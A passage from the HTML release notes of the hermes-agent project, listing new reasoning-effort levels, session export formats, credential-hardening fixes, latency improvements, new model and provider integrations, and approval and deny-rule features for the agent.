<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
